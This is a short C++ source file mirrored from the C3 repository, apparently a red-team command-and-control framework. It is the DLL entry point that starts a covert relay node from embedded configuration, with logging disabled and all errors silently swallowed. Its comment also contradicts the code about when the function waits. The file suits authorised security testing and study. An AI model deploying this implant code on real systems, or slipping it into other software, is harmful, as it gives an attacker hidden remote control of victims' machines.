mirror of https://github.com/infosecn1nja/C3.git
35 lines
864 B
C++
35 lines
864 B
C++
|
#include "StdAfx.h"
|
||
|
|
||
|
/// Entry point of the the library.
|
||
|
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID)
|
||
|
{
|
||
|
// Indicate successful load of the library.
|
||
|
return TRUE;
|
||
|
}
|
||
|
|
||
|
/// Starts a NodeRelay.
|
||
|
/// @param leaveImmediately if false then waits for Relay to be shut down internally by a C3 API Command.
|
||
|
extern "C" __declspec(dllexport) void StartNodeRelay(bool leaveImmediately)
|
||
|
{
|
||
|
MWR::WinTools::StructuredExceptionHandling::SehWrapper(
|
||
|
[leaveImmediately]()
|
||
|
{
|
||
|
try
|
||
|
{
|
||
|
auto relay = MWR::C3::Utils::CreateNodeRelayFromImagePatch(
|
||
|
[](MWR::C3::LogMessage const&, std::string_view*) {},
|
||
|
MWR::C3::InterfaceFactory::Instance(),
|
||
|
EmbeddedData::Instance()[0],
|
||
|
EmbeddedData::Instance()[1],
|
||
|
EmbeddedData::Instance()[2],
|
||
|
EmbeddedData::Instance().FindMatching(3));
|
||
|
|
||
|
if (leaveImmediately)
|
||
|
relay->Join();
|
||
|
}
|
||
|
catch (...)
|
||
|
{
|
||
|
}
|
||
|
}, []() {});
|
||
|
}
|